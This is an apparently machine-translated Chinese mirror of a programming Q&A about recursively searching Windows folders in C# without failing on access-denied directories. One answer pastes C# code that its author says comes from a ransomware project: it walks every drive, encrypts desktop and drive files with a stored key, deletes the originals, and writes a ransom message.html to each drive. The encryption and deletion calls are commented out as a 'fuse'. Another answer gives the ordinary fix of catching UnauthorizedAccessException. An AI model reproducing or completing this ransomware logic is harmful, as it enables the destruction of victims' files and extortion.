![](/img/trans.png)
[英]Xamarin C# “we don't have access to open this file” When I Trying To Open A PDF
[英]Searching for all folders in c#, without dieing on one I don't have access too
我想在硬盘驱动器中搜索其中包含“StudentPortalNightly”的文件夹,但是当我得到时却是一个例外,因为我无权访问所有文件夹..
List<string> dirs = Directory.GetDirectories( @"C:\" , "StudentPortalNightly", SearchOption.AllDirectories).ToList();
有没有办法只搜索我有合法访问权限的文件夹?
谢谢
埃里克-
我不确定这是否适合你,但我在我的 Github 项目中使用了它并且它有效。 对于某些用户,由于文件权限错误,它不起作用,但它不会中断执行并继续进行。 这个 cdode 来自我曾经制作的勒索软件项目。 我确定您需要编辑以下代码的某些部分。
// So this is where a lot of magic is happening, and you dont wanna touch it unless spending
// a lot of time in getting it to work again. Since it "kinda works" (like 80%), im not gonna
// try to fix this as long as a handful of people request it. It was already a pain and im happy
// it works for now.
string[] file;
private void ShowAllFoldersUnder(string path, int indent, string mode = "decrypt")
{
try
{
if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
!= FileAttributes.ReparsePoint)
{
foreach (string folder in Directory.GetDirectories(path))
{
if (!folder.Contains("System Volume Information"))
{
try
{
file = Directory.GetFiles(Path.GetFullPath(folder));
}
catch (Exception ex) { write(ex.Message); }
// This should check the file extension.
foreach (string s in file)
{
// Do whatever u want
}
}
ShowAllFoldersUnder(folder, indent + 2);
}
}
}
catch (Exception e) { write(e.Message); Log(e.Message, "ShowAllFolderUnder > General Error"); }
}
// This will get all the files and and tries to encrypt it. It works together with "ShowAllFoldersUnder()"
// to get as many files as possible.
public void GetFiles(string mode = "encrypt")
{
try
{
// Encrypt Desktop Files first!
string[] desktopFiles = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "*.*", SearchOption.AllDirectories);
foreach(string s in desktopFiles)
{
try
{
if (!s.Contains(Properties.Settings.Default.extension) && !s.Contains("Sytem Volume Information") && mode != "decrypt")
{
// FUSE
//Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
write("Encrypted " + s);
try
{
// FUSE
//File.Delete(s);
}
catch (Exception ex2)
{
write("Cant delete file " + ex2.Message);
Log(ex2.Message, "GetFiles > File Delete Error");
}
}
else if(mode == "decrypt")
{
if(s.Contains(Properties.Settings.Default.extension) && !s.Contains("System Volume Information"))
{
Task.Run(() => Crypto.FileDecrypt(s, s.Replace(Properties.Settings.Default.extension, ""), Properties.Settings.Default.key));
write("Decrypted " + s);
try
{
// Delete original encrypted file?
//File.Delete(s);
}
catch (Exception ex2)
{
write("Cant delete file " + ex2.Message);
Log(ex2.Message, "GetFiles > File Delete Error");
}
}
}
}
catch (Exception ex)
{
Log(ex.Message, "Getfiles > General Error");
}
}
// Now Encrypt whole hard drive
foreach (var drive in DriveInfo.GetDrives())
{
// This will try to create message in eighter plain text file or html file.
try
{
if(Properties.Settings.Default.message.Length > 0)
{
File.WriteAllText(drive.Name + "\\message.html", Properties.Settings.Default.message);
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\message.html", Properties.Settings.Default.message);
write("Created File message.html on drive " + drive.Name + "\\message");
Log("File 'message.html' created on drive " + drive.Name + "\\message.html", "GetFiles > Check Message Settings");
}
}
catch (Exception ex)
{
Log(ex.Message, "GetFiles > Create Message File");
write(ex.Message);
}
try
{
write("Found drive " + drive.Name);
Log("Found drive " + drive.Name, "GetFiles > Drive State Check");
try
{
// if the drive is ready try to get all the files and files in subfolders using ShowAllFoldersUnder()
if (drive.IsReady)
{
// Get all sub folders etc
ShowAllFoldersUnder(drive.Name, 0);
}
else
{
Log("Found drive " + drive.Name + " , but it's not ready.", "GetFiles > Drive State Check");
write("Found drive " + drive.Name + " , but it's not ready.");
}
}
catch { }
}
catch (Exception ex1)
{
write("ex1 " + ex1.Message);
Log(ex1.Message, "GetFiles > Drive Error");
}
}
}
catch(Exception ex)
{
Log(ex.Message, "GetFiles > General Drive Error");
}
write("Done getting stuff :)");
}
List<string> dirs = new List<string>(Directory.GetFiles(@"C:\").ToList());
只要捕获正确的异常,try-catch就可以工作。 在这种情况下,您需要捕获System.UnauthorizedAccessException
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.